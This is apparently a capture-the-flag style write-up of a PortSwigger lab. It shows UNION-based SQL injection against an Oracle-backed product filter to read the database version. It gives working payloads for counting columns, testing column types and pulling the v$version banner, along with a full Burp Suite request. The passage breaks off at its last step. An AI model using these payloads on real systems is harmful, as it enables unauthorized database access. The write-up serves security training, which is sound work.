SQL injection attack, querying the database type and version on Oracle

SQL Injection UNION Attack: Oracle Database Version

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results of an injected query.

To solve the lab, display the database version string.

On Oracle databases, every SELECT statement must specify a table using the FROM keyword. If a UNION SELECT query does not need to retrieve data from a normal table, Oracle provides a built-in table called dual.

Example:

UNION SELECT 'abc' FROM dual

Analysis

Step 1: Determine the Number of Columns

First, determine how many columns are returned by the original query.

This can be tested using the ORDER BY technique:

' ORDER BY 1--

Do not forget to URL-encode the payload when required.

Increase the column number until the application returns an error:

' ORDER BY 2--

When testing with two columns, the server returns an HTTP 200 response.

When testing with three columns:

' ORDER BY 3--

The application returns an HTTP 500 Internal Server Error.

This indicates that the original query returns two columns.

Example HTML Output

<table class="is-table-longdescription">
  <tbody>
    <tr>
      <th>Giant Grasshopper</th>
      <td>
        If you are one of those anti-social people who like to sit in a corner
        and try not to catch anyone&apos;s eye, you probably know it.
      </td>
    </tr>
    <tr></tr>
  </tbody>
</table>

The two visible values are:

• Column 1: Giant Grasshopper
• Column 2: If you are one of those anti-social people...

Notice: The front end displays two columns, but this alone does not prove that the database query contains only two columns. The ORDER BY test confirms the actual column count.

Step 2: Identify the Column Data Types

After determining the number of columns, test which columns can display string data.

The following payload may work on other database systems:

' UNION SELECT 'a', NULL--

However, Oracle requires every SELECT statement to include a FROM clause.

Use the dual table:

' UNION SELECT 'a', 'a' FROM dual--

The injected values appear in the application's response.

Because both injected string values are displayed, both columns can contain string data.

Step 3: Retrieve the Database Version

PortSwigger's SQL injection cheat sheet lists the following database-version queries:

For Oracle, inject the banner value from the v$version table:

' UNION SELECT banner, 'a' FROM v$version--

If the first column is not displayed correctly, place banner in the second column:

' UNION SELECT 'a', banner FROM v$version--

In this lab, the following payload worked:

' UNION SELECT banner, 'a' FROM v$version--

Burp Suite Request

GET /filter?category=Pets' UNION SELECT banner,'a' FROM v$version-- HTTP/2
Host: 0aaf0099034c316680495d00000e00f2.web-security-academy.net
Cookie: session=oRhZZQ9NH1eyq0yNmvzaOaX5szuO4iuu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aaf0099034c316680495d00000e00f2.web-security-academy.net/filter?category=Toys+%26+Games

Because this is a controlled lab environment, the SQL injection payload worked without manually URL-encoding the complete query.

The request can also be intercepted and modified directly in Burp Suite: